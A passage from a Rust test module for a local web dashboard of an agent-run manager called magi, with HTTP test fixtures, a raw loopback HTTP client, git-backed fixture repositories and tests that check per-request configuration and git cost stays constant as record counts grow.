11761        assert_eq!(calls.get(), 0);
11762    }
11763
11764    use pretty_assertions::assert_eq;
11765    use serde_json::Value;
11766    use tempfile::TempDir;
11767    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11768
11769    use super::*;
11770
11771    // Embedded assets preserve checkout line endings. Source assertions use
11772    // logical lines, independent of the platform's checkout conversion.
11773    static APP_JS: std::sync::LazyLock<String> =
11774        std::sync::LazyLock::new(|| super::APP_JS.replace("\r\n", "\n"));
11775    static APP_CSS: std::sync::LazyLock<String> =
11776        std::sync::LazyLock::new(|| super::APP_CSS.replace("\r\n", "\n"));
11777    use crate::config::Config;
11778    use crate::queue::Source;
11779
11780    /// How many 10ms steps a settle loop takes before it calls a stall a
11781    /// stall - thirty seconds.
11782    ///
11783    /// These loops wait on real `sh` subprocesses, and the machine that runs
11784    /// the gate runs several suites at once, so a two-second budget was not
11785    /// waiting for the reply, it was racing the scheduler: two of these
11786    /// tests failed under that load with the turn simply not landed yet.
11787    /// This is a hang guard, not a latency assertion - every loop breaks the
11788    /// moment its condition holds, so a generous cap costs an idle machine
11789    /// nothing and still fails a genuine hang instead of hanging the suite.
11790    const SETTLE_STEPS: usize = 3_000;
11791
11792    /// A home with a queue and a runs directory, and a router serving it on
11793    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11794    /// dependency, not ours - so the tests drive a real socket, which has the
11795    /// side benefit of asserting the status line and content types the phone
11796    /// actually receives.
11797    struct Fixture {
11798        home: TempDir,
11799        addr: SocketAddr,
11800    }
11801
11802    impl Fixture {
11803        async fn start() -> Self {
11804            Self::with_loop(launch_idle).await
11805        }
11806
11807        /// A fixture whose loop is `launch`.
11808        async fn with_loop(launch: Launch) -> Self {
11809            let home = TempDir::new().expect("temp home");
11810            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11811            Self { home, addr }
11812        }
11813
11814        /// A fixture whose `ui.repo` is a real directory rather than the
11815        /// usual placeholder - for the routes that read config off it
11816        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11817        async fn with_repo(repo: PathBuf) -> Self {
11818            let home = TempDir::new().expect("temp home");
11819            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11820            Self { home, addr }
11821        }
11822
11823        /// As [`Fixture::with_repo`], with the machine-config file the
11824        /// settings screen reads and writes.
11825        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11826            let home = TempDir::new().expect("temp home");
11827            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11828            Self { home, addr }
11829        }
11830
11831        async fn serve(
11832            home: &FsPath,
11833            repo: PathBuf,
11834            launch: Launch,
11835            machine: Option<PathBuf>,
11836        ) -> SocketAddr {
11837            let queue = Queue::at(home.join("queue"));
11838            let runs = home.join("runs");
11839            std::fs::create_dir_all(&runs).expect("runs dir");
11840            let worktrees = home.join("wt").join("magi");
11841            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11842            let ui = Ui::new(
11843                queue,
11844                Questions::at(home.join("questions")),
11845                Talks::at(home.join("talks")),
11846                runs,
11847                home.to_path_buf(),
11848                repo,
11849            )
11850            .with_worktrees_root(worktrees)
11851            .with_machine_config(machine)
11852            .with_launch(launch);
11853            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11854                .await
11855                .expect("bind loopback");
11856            let addr = listener.local_addr().expect("local addr");
11857            tokio::spawn(async move {
11858                let router = ui
11859                    .router()
11860                    .layer(axum::middleware::from_fn(request_cost::observe));
11861                let _ = axum::serve(listener, router).await;
11862            });
11863            addr
11864        }
11865
11866        fn queue(&self) -> Queue {
11867            Queue::at(self.home.path().join("queue"))
11868        }
11869
11870        fn questions(&self) -> Questions {
11871            Questions::at(self.home.path().join("questions"))
11872        }
11873
11874        fn talks(&self) -> Talks {
11875            Talks::at(self.home.path().join("talks"))
11876        }
11877
11878        fn runs(&self) -> PathBuf {
11879            self.home.path().join("runs")
11880        }
11881
11882        async fn get(&self, path: &str) -> Res {
11883            request(self.addr, "GET", path, None).await
11884        }
11885
11886        /// The status and headers without the body, which is how the front end
11887        /// preflights a panel: a sandboxed frame is opaque to the parent
11888        /// document, so the only way to tell "no panel" from "a panel that
11889        /// rendered blank" is to ask before mounting.
11890        async fn head(&self, path: &str) -> Res {
11891            request(self.addr, "HEAD", path, None).await
11892        }
11893
11894        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11895            request(self.addr, "POST", path, body).await
11896        }
11897
11898        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11899            request_with(self.addr, "GET", path, None, extra).await
11900        }
11901
11902        async fn delete(&self, path: &str) -> Res {
11903            request(self.addr, "DELETE", path, None).await
11904        }
11905
11906        async fn put(&self, path: &str, body: &str) -> Res {
11907            request(self.addr, "PUT", path, Some(body)).await
11908        }
11909
11910        /// `POST` a raw body with its own headers - see [`request_bytes`].
11911        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11912            request_bytes(self.addr, path, headers, body).await
11913        }
11914    }
11915
11916    /// Real tracking refs exercise the successful discovery path (including
11917    /// extraction), rather than counting cheap failures on a placeholder repo.
11918    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11919        let tmp = TempDir::new().unwrap();
11920        let mut repos = Vec::new();
11921        for name in ["one", "two"] {
11922            let repo = tmp.path().join(name);
11923            let origin = tmp.path().join(format!("{name}.git"));
11924            std::fs::create_dir_all(&repo).unwrap();
11925            crate::git::git(&repo, &["init", "-b", "main"])
11926                .await
11927                .unwrap();
11928            std::fs::write(
11929                repo.join("magi.toml"),
11930                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11931            )
11932            .unwrap();
11933            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11934            crate::git::git(
11935                &repo,
11936                &[
11937                    "-c",
11938                    "user.name=fixture",
11939                    "-c",
11940                    "user.email=fixture@example.invalid",
11941                    "commit",
11942                    "-m",
11943                    "fixture",
11944                ],
11945            )
11946            .await
11947            .unwrap();
11948            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11949                .await
11950                .unwrap();
11951            crate::git::git(
11952                &repo,
11953                &["remote", "add", "origin", origin.to_str().unwrap()],
11954            )
11955            .await
11956            .unwrap();
11957            crate::git::git(&repo, &["push", "origin", "main"])
11958                .await
11959                .unwrap();
11960            crate::git::git(
11961                &repo,
11962                &[
11963                    "symbolic-ref",
11964                    "refs/remotes/origin/HEAD",
11965                    "refs/remotes/origin/main",
11966                ],
11967            )
11968            .await
11969            .unwrap();
11970            let (cfg, _) = Config::discover(&repo, None).unwrap();
11971            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11972            repos.push(repo);
11973        }
11974        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11975        (tmp, repos)
11976    }
11977
11978    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11979        let (tmp, repos) = performance_repositories().await;
11980        let machine = tmp.path().join("machine.toml");
11981        std::fs::write(&machine, "").unwrap();
11982        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11983        (tmp, repos, fx)
11984    }
11985
11986    fn seed_performance(
11987        fx: &Fixture,
11988        repos: &[PathBuf; 2],
11989        questions: usize,
11990        runs: usize,
11991        items: usize,
11992    ) {
11993        // Saving states directly never starts a run or changes MAGI_HOME.
11994        for i in fx.questions().list().len()..questions {
11995            let mut question = Question::new(
11996                "20261001-000000-0000".into(),
11997                "implement".into(),
11998                "impl-A".into(),
11999                format!("question {i}"),
12000                "context".into(),
12001                vec!["yes".into(), "no".into()],
12002            );
12003            question.id = format!("20261003-000000-{i:04x}");
12004            fx.questions().put(&mut question).unwrap();
12005        }
12006        for i in run_ids(&fx.runs()).len()..runs {
12007            write_run_repo(
12008                &fx.runs(),
12009                &format!("20261001-000000-{i:04x}"),
12010                RunStatus::Ready,
12011                repos[i % 2].to_str().unwrap(),
12012            );
12013        }
12014        for i in fx.talks().list().len()..items {
12015            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
12016            let mut talk = fx.talks().get(&id).unwrap();
12017            talk.repo = repos[i % 2].clone();
12018            fx.talks().put(&mut talk).unwrap();
12019            let mut task = crate::queue::Task::new(
12020                format!("task {i}"),
12021                "instruction".into(),
12022                repos[i % 2].clone(),
12023                crate::queue::Source::Agent {
12024                    run: id,
12025                    node: crate::queue::CHAT_NODE.into(),
12026                },
12027            );
12028            task.id = format!("20261004-000000-{i:04x}");
12029            fx.queue().put(&mut task).unwrap();
12030            // Notices has a production retention cap; seed up to that cap.
12031            if i < crate::notices::CAP {
12032                Notices::at(fx.home.path().join("notifications"))
12033                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
12034                    .unwrap();
12035            }
12036        }
12037        assert_eq!(fx.questions().list().len(), questions);
12038        assert_eq!(run_ids(&fx.runs()).len(), runs);
12039        assert_eq!(fx.talks().list().len(), items);
12040        assert_eq!(fx.queue().list().len(), items);
12041        assert_eq!(
12042            Notices::at(fx.home.path().join("notifications"))
12043                .list()
12044                .len(),
12045            items.min(crate::notices::CAP)
12046        );
12047    }
12048
12049    #[tokio::test]
12050    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
12051        let home = TempDir::new().unwrap();
12052        let root = home.path().canonicalize().unwrap();
12053        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
12054        let fx = Fixture { home, addr };
12055        let repo = root.as_path().join("archive-repo");
12056        std::fs::create_dir(&repo).unwrap();
12057        crate::git::git(&repo, &["init", "-b", "main"])
12058            .await
12059            .unwrap();
12060        crate::git::git(&repo, &["config", "user.name", "Fixture"])
12061            .await
12062            .unwrap();
12063        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
12064            .await
12065            .unwrap();
12066        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
12067            .await
12068            .unwrap();
12069        std::fs::write(repo.join("source"), "base").unwrap();
12070        crate::git::git(&repo, &["add", "."]).await.unwrap();
12071        crate::git::git(&repo, &["commit", "-m", "base"])
12072            .await
12073            .unwrap();
12074        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12075        std::fs::write(repo.join("source"), "archived review").unwrap();
12076        crate::git::git(&repo, &["commit", "-am", "review"])
12077            .await
12078            .unwrap();
12079        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
12080        let mut config = Config::default();
12081        config.graph.worktree_root = Some(root.as_path().join("copies"));
12082        let mut state = RunState::new(
12083            repo.clone(),
12084            "main".into(),
12085            base.clone(),
12086            "archive".into(),
12087            config,
12088        );
12089        state.id = "20260101-000000-ef05".into();
12090        state.status = RunStatus::Ready;
12091        state.save_under(root.as_path()).unwrap();
12092        let evidence =
12093            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
12094                .await
12095                .unwrap();
12096        let base_evidence =
12097            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
12098                .await
12099                .unwrap();
12100        let source = state.worktree_root().join("review-1");
12101        let mut contents = std::collections::BTreeMap::new();
12102        contents.insert(
12103            repo.join("logs/HEAD"),
12104            format!("{base} {head} fixture\n").into_bytes(),
12105        );
12106        let record = serde_json::json!({
12107            "version":1, "run":state.id, "source":source, "head":head,
12108            "evidence":evidence, "admin":{}, "admin_contents":contents,
12109            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
12110        });
12111        std::fs::write(
12112            fx.runs()
12113                .join(&state.id)
12114                .join("artifacts/eviction-review-1.json"),
12115            serde_json::to_vec(&record).unwrap(),
12116        )
12117        .unwrap();
12118        std::fs::remove_dir_all(&repo).unwrap();
12119        let url = format!("/api/runs/{}/seat-evidence", state.id);
12120        let list = fx.get(&url).await;
12121        assert_eq!(list.status, 200, "{}", list.body);
12122        assert_eq!(list.json()[&head], "review-1");
12123        let patch = fx.get(&format!("{url}/{head}")).await;
12124        assert_eq!(patch.status, 200, "{}", patch.body);
12125        assert!(patch.body.contains("+archived review"));
12126        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
12127        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
12128        assert_eq!(fx.get(&url).await.status, 404);
12129        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
12130    }
12131
12132    fn request_counts(res: &Res) -> (usize, usize) {
12133        assert_eq!(res.status, 200, "{}", res.body);
12134        (
12135            res.header("x-test-discoveries").unwrap().parse().unwrap(),
12136            res.header("x-test-git").unwrap().parse().unwrap(),
12137        )
12138    }
12139
12140    #[tokio::test]
12141    async fn list_request_cost_is_independent_of_record_count() {
12142        let mut previous = None;
12143        for n in [4, 60] {
12144            // Health refreshes configuration on a detached thread. Run it
12145            // last and give each scale its own repository/cache so that
12146            // refresh cannot warm the next measured cold extraction.
12147            let (_tmp, repos, fx) = performance_fixture().await;
12148            seed_performance(&fx, &repos, n, n, n);
12149            let mut costs = Vec::new();
12150            for (path, discoveries) in [
12151                ("/api/questions", 1),
12152                ("/api/talks", 0),
12153                ("/api/stats", 1),
12154                ("/api/health", 0),
12155            ] {
12156                // Equal cold extraction caches at both scales; this also
12157                // bounds first-request cost instead of only warmed requests.
12158                for repo in &repos {
12159                    let cache = repo.join(".git/magi/config");
12160                    if cache.exists() {
12161                        std::fs::remove_dir_all(cache).unwrap();
12162                    }
12163                }
12164                let cost = request_counts(&fx.get(path).await);
12165                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
12166                assert_eq!(cost.0, discoveries, "{path}, N={n}");
12167                assert!(
12168                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
12169                    "{path}: {cost:?}"
12170                );
12171                costs.push(cost);
12172            }
12173            if let Some(previous) = previous {
12174                assert_eq!(costs, previous);
12175            }
12176            previous = Some(costs);
12177        }
12178        // runs reads shared row inputs and probes process liveness; queue
12179        // builds one blocker inventory; notifications reads its own store.
12180        // None discovers configuration or spawns git per item.
12181    }
12182
12183    /// The same handler path without transport, so the deterministic cause
12184    /// can also be checked in environments that prohibit binding sockets.
12185    #[tokio::test]
12186    async fn list_handler_cost_without_transport() {
12187        let mut previous = None;
12188        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
12189            // As in the transport test, isolate each scale from the previous
12190            // health request's detached configuration refresh.
12191            let (_tmp, repos) = performance_repositories().await;
12192            let fx = Fixture {
12193                home: TempDir::new().unwrap(),
12194                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12195            };
12196            let ui = Arc::new(
12197                Ui::new(
12198                    fx.queue(),
12199                    fx.questions(),
12200                    fx.talks(),
12201                    fx.runs(),
12202                    fx.home.path().to_path_buf(),
12203                    repos[0].clone(),
12204                )
12205                .with_worktrees_root(fx.home.path().join("wt")),
12206            );
12207            seed_performance(&fx, &repos, n, runs, items);
12208            let mut costs = Vec::new();
12209            for endpoint in ["questions", "talks", "stats", "health"] {
12210                for repo in &repos {
12211                    let cache = repo.join(".git/magi/config");
12212                    if cache.exists() {
12213                        std::fs::remove_dir_all(cache).unwrap();
12214                    }
12215                }
12216                let (_, cost) = request_cost::measure(async {
12217                    match endpoint {
12218                        "questions" => {
12219                            let _ = questions_list(State(ui.clone())).await.unwrap();
12220                        }
12221                        "talks" => {
12222                            let _ = talks_list(
12223                                State(ui.clone()),
12224                                Query(ListQuery {
12225                                    limit: None,
12226                                    ids: None,
12227                                }),
12228                                header::HeaderMap::new(),
12229                            )
12230                            .await
12231                            .unwrap();
12232                        }
12233                        "health" => {
12234                            let _ = health(State(ui.clone())).await.unwrap();
12235                        }
12236                        _ => {
12237                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
12238                                .await
12239                                .unwrap();
12240                        }
12241                    }
12242                })
12243                .await;
12244                eprintln!("{endpoint} handler N={n}: {cost:?}");
12245                assert_eq!(
12246                    cost.0,
12247                    if matches!(endpoint, "talks" | "health") {
12248                        0
12249                    } else {
12250                        1
12251                    },
12252                    "{endpoint}"
12253                );
12254                assert!(
12255                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
12256                    "{endpoint}: {cost:?}"
12257                );
12258                costs.push(cost);
12259            }
12260            if let Some(previous) = previous {
12261                assert_eq!(costs, previous);
12262            }
12263            previous = Some(costs);
12264        }
12265    }
12266
12267    #[tokio::test]
12268    async fn monitor_and_periodic_update_recheck_git_cost() {
12269        let (tmp, repos) = performance_repositories().await;
12270        let fx = Fixture {
12271            home: TempDir::new().unwrap(),
12272            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12273        };
12274        let ui = Arc::new(
12275            Ui::new(
12276                fx.queue(),
12277                fx.questions(),
12278                fx.talks(),
12279                fx.runs(),
12280                fx.home.path().to_path_buf(),
12281                repos[0].clone(),
12282            )
12283            .with_worktrees_root(fx.home.path().join("wt")),
12284        );
12285        let cache = repos[0].join(".git/magi/config");
12286        if cache.exists() {
12287            std::fs::remove_dir_all(&cache).unwrap();
12288        }
12289
12290        let (_, monitor_cost) = request_cost::measure(async {
12291            let mut snapshot = None;
12292            for _ in 0..20 {
12293                let state = Arc::clone(&ui);
12294                snapshot = Some(
12295                    tokio::task::spawn_blocking(request_cost::carry(move || {
12296                        monitor_scan(&state, snapshot)
12297                    }))
12298                    .await
12299                    .unwrap(),
12300                );
12301            }
12302        })
12303        .await;
12304        assert_eq!(monitor_cost, (0, 0));
12305
12306        // The idle update worker, unlike the revision monitor, reads config.
12307        let (_, cold_cost) = request_cost::measure(async {
12308            for _ in 0..20 {
12309                assert_eq!(update_recheck_once(&ui).await, UPDATE_RECHECK_POLL_MAX);
12310            }
12311        })
12312        .await;
12313        assert_eq!(cold_cost, (20, 21));
12314
12315        // Move `origin/main` via a separate clone without touching `repos[0]`'s
12316        // working tree, then fetch; the next scan must immediately observe the
12317        // new committed `magi.toml`.
12318        let origin = tmp.path().join("one.git");
12319        let pusher = tmp.path().join("pusher-one");
12320        crate::git::git(
12321            tmp.path(),
12322            &[
12323                "clone",
12324                "-b",
12325                "main",
12326                origin.to_str().unwrap(),
12327                pusher.to_str().unwrap(),
12328            ],
12329        )
12330        .await
12331        .unwrap();
12332        std::fs::write(
12333            pusher.join("magi.toml"),
12334            format!("{MOCK_AGENT_TOML}\n[graph]\nimplementers = 3\n[repos]\nroots = []\n[update]\nmode = \"off\"\ninterval = \"1m\"\n[verify]\ne2e = []\ngate = []\n"),
12335        )
12336        .unwrap();
12337        crate::git::git(&pusher, &["add", "magi.toml"])
12338            .await
12339            .unwrap();
12340        crate::git::git(
12341            &pusher,
12342            &[
12343                "-c",
12344                "user.name=fixture",
12345                "-c",
12346                "user.email=fixture@example.invalid",
12347                "commit",
12348                "-m",
12349                "bump implementers",
12350            ],
12351        )
12352        .await
12353        .unwrap();
12354        crate::git::git(&pusher, &["push", "origin", "main"])
12355            .await
12356            .unwrap();
12357        crate::git::git(&repos[0], &["fetch", "origin"])
12358            .await
12359            .unwrap();
12360
12361        let (observed, moved_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12362        assert_eq!(observed, UPDATE_RECHECK_POLL_MIN);
12363        assert_eq!(moved_cost, (1, 2));
12364        let (observed_again, warm_cost) = request_cost::measure(update_recheck_once(&ui)).await;
12365        assert_eq!(observed_again, observed);
12366        assert_eq!(warm_cost, (1, 1));
12367    }
12368
12369    #[tokio::test]
12370    async fn list_request_cost_scopes_do_not_mix() {
12371        let (_tmp, repos, fx) = performance_fixture().await;
12372        seed_performance(&fx, &repos, 10, 0, 10);
12373        let (questions, talks, notices) = tokio::join!(
12374            fx.get("/api/questions"),
12375            fx.get("/api/talks"),
12376            fx.get("/api/notifications")
12377        );
12378        assert_eq!(request_counts(&questions).0, 1);
12379        // Cached summaries perform no config discovery or git work, even
12380        // alongside the questions request that still discovers config.
12381        assert_eq!(request_counts(&talks), (0, 0));
12382        assert_eq!(request_counts(&notices), (0, 0));
12383    }
12384
12385    #[tokio::test]
12386    async fn list_endpoints_large_home_responses() {
12387        check_large_home_endpoints(false).await;
12388    }
12389
12390    #[tokio::test]
12391    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
12392    async fn list_endpoints_large_home_ceiling() {
12393        check_large_home_endpoints(true).await;
12394    }
12395
12396    async fn check_large_home_endpoints(timed: bool) {
12397        let (_tmp, repos, fx) = performance_fixture().await;
12398        seed_performance(&fx, &repos, 200, 300, 400);
12399        let mut failures = Vec::new();
12400        // app.js boot/change loads plus the initial dashboard, settings and
12401        // repo picker. SSE is a persistent stream, not a bounded GET.
12402        for path in [
12403            "/",
12404            "/app.js",
12405            "/app.css",
12406            "/api/questions",
12407            "/api/runs?limit=300",
12408            "/api/queue",
12409            "/api/talks",
12410            "/api/notifications",
12411            "/api/health",
12412            "/api/stats",
12413            "/api/loop",
12414            "/api/settings",
12415            "/api/repos",
12416        ] {
12417            let start = std::time::Instant::now();
12418            let result = if timed {
12419                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
12420            } else {
12421                Ok(fx.get(path).await)
12422            };
12423            let elapsed = start.elapsed();
12424            eprintln!("{path}: {elapsed:?}");
12425            match result {
12426                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
12427                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
12428                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
12429            }
12430        }
12431        assert!(failures.is_empty(), "{}", failures.join("\n"));
12432    }
12433
12434    struct Res {
12435        status: u16,
12436        headers: String,
12437        /// The header block with its original casing, for the assertions that
12438        /// compare a header *value* rather than looking for a name. Lowercasing
12439        /// a CSP would hide a directive spelled with a capital letter, and the
12440        /// whole point of that test is that the string is exactly right.
12441        head: String,
12442        body: String,
12443        /// The body before any UTF-8 handling, for the routes that serve
12444        /// something other than text. A panel asset is a PNG as often as not,
12445        /// and `from_utf8_lossy` would silently replace half of it.
12446        bytes: Vec<u8>,
12447    }
12448
12449    impl Res {
12450        fn json(&self) -> Value {
12451            serde_json::from_str(&self.body)
12452                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12453        }
12454
12455        /// One header's value verbatim, or `None` when it was not sent.
12456        fn header(&self, name: &str) -> Option<&str> {
12457            self.head.lines().find_map(|line| {
12458                let (key, value) = line.split_once(':')?;
12459                key.trim()
12460                    .eq_ignore_ascii_case(name)
12461                    .then(|| value.trim_start().trim_end_matches('\r'))
12462            })
12463        }
12464    }
12465
12466    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12467    /// be read to end-of-stream without parsing framing.
12468    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12469        request_with(addr, method, path, body, &[]).await
12470    }
12471
12472    /// As [`request`], with extra request headers - conditional GETs need
12473    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12474    /// worse than one that sets none.
12475    async fn request_with(
12476        addr: SocketAddr,
12477        method: &str,
12478        path: &str,
12479        body: Option<&str>,
12480        extra: &[(&str, &str)],
12481    ) -> Res {
12482        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12483        for (name, value) in extra {
12484            head.push_str(&format!("{name}: {value}\r\n"));
12485        }
12486        if let Some(body) = body {
12487            head.push_str("Content-Type: application/json\r\n");
12488            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12489        }
12490        head.push_str("\r\n");
12491        if let Some(body) = body {
12492            head.push_str(body);
12493        }
12494        let mut socket = tokio::net::TcpStream::connect(addr)
12495            .await
12496            .expect("connect to the test server");
12497        socket
12498            .write_all(head.as_bytes())
12499            .await
12500            .expect("write request");
12501        let mut raw = Vec::new();
12502        socket.read_to_end(&mut raw).await.expect("read response");
12503        // Split on the raw bytes rather than on a lossy string, so a binary
12504        // body survives to be compared byte for byte.
12505        let split = raw
12506            .windows(4)
12507            .position(|w| w == b"\r\n\r\n")
12508            .expect("a header block");
12509        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12510        let bytes = raw[split + 4..].to_vec();
12511        let status = head
12512            .lines()
12513            .next()
12514            .and_then(|line| line.split_whitespace().nth(1))
12515            .and_then(|code| code.parse().ok())
12516            .expect("a status line");
12517        Res {
12518            status,
12519            headers: head.to_lowercase(),
12520            head,
12521            body: String::from_utf8_lossy(&bytes).into_owned(),
12522            bytes,
12523        }
12524    }
12525
12526    /// A `POST` carrying a raw binary body and its own headers, for the
12527    /// attachment upload route - `request_with` only ever sends
12528    /// `Content-Type: application/json`, which is wrong for an image and
12529    /// would corrupt anything not valid UTF-8 by round-tripping it through
12530    /// `&str` first.
12531    async fn request_bytes(
12532        addr: SocketAddr,
12533        path: &str,
12534        headers: &[(&str, &str)],
12535        body: &[u8],
12536    ) -> Res {
12537        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12538        for (name, value) in headers {
12539            head.push_str(&format!("{name}: {value}\r\n"));
12540        }
12541        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12542        let mut socket = tokio::net::TcpStream::connect(addr)
12543            .await
12544            .expect("connect to the test server");
12545        socket
12546            .write_all(head.as_bytes())
12547            .await
12548            .expect("write request head");
12549        socket.write_all(body).await.expect("write request body");
12550        let mut raw = Vec::new();
12551        socket.read_to_end(&mut raw).await.expect("read response");
12552        let split = raw
12553            .windows(4)
12554            .position(|w| w == b"\r\n\r\n")
12555            .expect("a header block");
12556        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12557        let bytes = raw[split + 4..].to_vec();
12558        let status = head
12559            .lines()
12560            .next()
12561            .and_then(|line| line.split_whitespace().nth(1))
12562            .and_then(|code| code.parse().ok())
12563            .expect("a status line");
12564        Res {
12565            status,
12566            headers: head.to_lowercase(),
12567            head,
12568            body: String::from_utf8_lossy(&bytes).into_owned(),
12569            bytes,
12570        }
12571    }
12572
12573    /// A run on disk, without touching the process-global magi home.
12574    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12575        let mut state = RunState::new(
12576            PathBuf::from("/repo/magi"),
12577            "main".to_owned(),
12578            "0123456789abcdef".to_owned(),
12579            "Add a web UI\n\nMobile first.".to_owned(),
12580            Config::default(),
12581        );
12582        state.id = id.to_owned();
12583        state.status = status;
12584        let dir = runs.join(id);
12585        std::fs::create_dir_all(&dir).expect("run dir");
12586        std::fs::write(
12587            dir.join("run.json"),
12588            serde_json::to_string_pretty(&state).expect("serialize run"),
12589        )
12590        .expect("write run.json");
12591    }
12592
12593    /// Same as [`write_run`], but against a named repository rather than the
12594    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12595    /// spread across more than one.
12596    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12597        let mut state = RunState::new(
12598            PathBuf::from(repo),
12599            "main".to_owned(),
12600            "0123456789abcdef".to_owned(),
12601            "task".to_owned(),
12602            Config::default(),
12603        );
12604        state.id = id.to_owned();
12605        state.status = status;
12606        let dir = runs.join(id);
12607        std::fs::create_dir_all(&dir).expect("run dir");
12608        std::fs::write(
12609            dir.join("run.json"),
12610            serde_json::to_string_pretty(&state).expect("serialize run"),
12611        )
12612        .expect("write run.json");
12613    }
12614
12615    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12616        let body = serde_json::json!({
12617            "schema": 1,
12618            "pid": 4242,
12619            "started_at": Timestamp::now().to_string(),
12620            "updated_at": updated_at.to_string(),
12621            "idle": false,
12622            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12623            "completed": 7,
12624            "polls": 143,
12625        });
12626        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12627    }
12628
12629    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12630    ///
12631    /// No test in this file may start the real loop - see [`Ui::launch`] for
12632    /// why - so this stands in for the only thing the routes need a loop to
12633    /// do: keep running until `Stop` is set, then return. A real
12634    /// `serve_until` here would resolve its queue and its status file through
12635    /// the process-global magi home, claim whatever it found in the
12636    /// operator's live backlog, overwrite the status file of the `magi serve`
12637    /// that owns it, and spend real agent quota on a real competition.
12638    fn launch_idle(
12639        _opts: daemon::Opts,
12640        stop: daemon::Stop,
12641    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12642        Box::pin(async move {
12643            while !stop.stopped() {
12644                tokio::time::sleep(Duration::from_millis(2)).await;
12645            }
12646            Ok(())
12647        })
12648    }
12649
12650    /// A loop that fails on the way up, the way one whose home has gone
12651    /// read-only does.
12652    fn launch_broken(
12653        _opts: daemon::Opts,
12654        _stop: daemon::Stop,
12655    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12656        // The stand-in dies instantly, so a restarted one can record its own
12657        // failure before the start's response is read. The second attempt
12658        // therefore fails with a different message, to tell a stale error
12659        // from a fresh one.
12660        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12661        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12662        Box::pin(async move {
12663            Err(anyhow::anyhow!(if first {
12664                "publish the daemon status file: read-only file system"
12665            } else {
12666                "the restarted stand-in failed as well"
12667            }))
12668        })
12669    }
12670
12671    /// The loop view once `want` accepts it.
12672    ///
12673    /// Polled rather than asserted straight after the POST because stopping
12674    /// is deliberately not instant - that is the contract - and rather than
12675    /// slept through because a fixed wait is either flaky or slow.
12676    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12677    /// finite, so a genuine hang fails the test instead of hanging the
12678    /// suite.
12679    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
